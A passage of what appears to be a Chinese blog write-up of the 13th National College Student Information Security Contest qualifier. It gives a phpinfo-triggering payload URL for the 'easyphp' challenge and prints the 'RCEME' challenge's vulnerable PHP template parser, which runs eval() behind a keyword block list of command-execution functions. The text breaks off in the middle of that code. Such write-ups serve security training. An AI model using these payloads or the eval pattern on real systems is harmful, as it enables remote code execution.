第十三届全国大学生信息安全竞赛(线上初赛)

第十三届全国大学生信息安全竞赛(线上初赛)

在这里插入图片描述
干啥啥不行,混子第一名,全靠躺,,,,,队友带飞!

WEB

easyphp

打开题目拿到源码:
在这里插入图片描述
根据题目的描述,让进程异常退出,进入到phpinfo中
payload:

http://eci-2ze4mvter6u3r4shc9j6.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait

运行得到phpinfo,找到flag即可:
在这里插入图片描述

RCEME

貌似有原题,不过过滤的不一样,这道题没有过滤反撇号:

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
parserIfLabel($_GET['a']);  
function danger_key($s) {
     
    $s=htmlspecialchars($s);  
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);  
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
     
        if(strpos($s,$val) !==false){
     
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');  
        }  
    }  
    if(preg_match("/^[a-z]$/i")){
     
        die('很抱歉,执行出错,发现危险字符');  
    }  
    return $s;  
}  
function parserIfLabel( $content ) {
     
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';  
    if ( preg_match_all( $pattern, $content, $matches ) ) {
     
        $count = count( $matches[ 0 ] );  
        for ( $i = 0; $i < $count; $i++ ) {
     
            $flag = '';  
            $out_html = '';  
            $ifstr = $matches[ 1 ][ $i ];  
            $ifstr=danger_key($ifstr,1);  
            if(strpos($ifstr,'=') !== false){
     
                $arr= splits($ifstr,'=');  
                if($arr[0]=='' || $arr[1]==''){
     
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');  
                }  
                $ifstr = str_replace( '=', '==', $ifstr );  
            }  
            $ifstr = str_replace( '<>', '!=', $ifstr );  
            $ifstr = str_replace( 'or', '||', $ifstr );  
            $ifstr = str_replace( 'and', '&&', $ifstr );  
            $ifstr = str_replace( 'mod', '%', $ifstr );  
            $ifstr = str_replace( 'not', '!', $ifstr );  
            if ( preg_match( '/\{|}/', $ifstr)) {
     
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);  
            }else{
     
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );  
            }  

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
     
                switch ( $flag ) {
     
                    case 'if':  
                        if ( isset( $matches2[ 1 ] ) ) {
     
                            $out_html .= $matches2[ 1 ];  
                        }  
                        break;  
                    case 'else':  
                        if ( isset( $matches2[ 2 ] ) ) {
     
                            $out_html .= $matches2[ 2 ];  
                        }  
                        break;  
                }  
            } elseif ( $flag == 'if' ) {
     
                $out_html .= $matches[ 2 ][ $i ];  
            }  
            $pattern2 = '/\{if([0-9]):/';  
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
     
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );  
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );  
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );  
                $out_html = $this->parserIfLabel( $out_html );  
            }  
            $content = str_replace
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值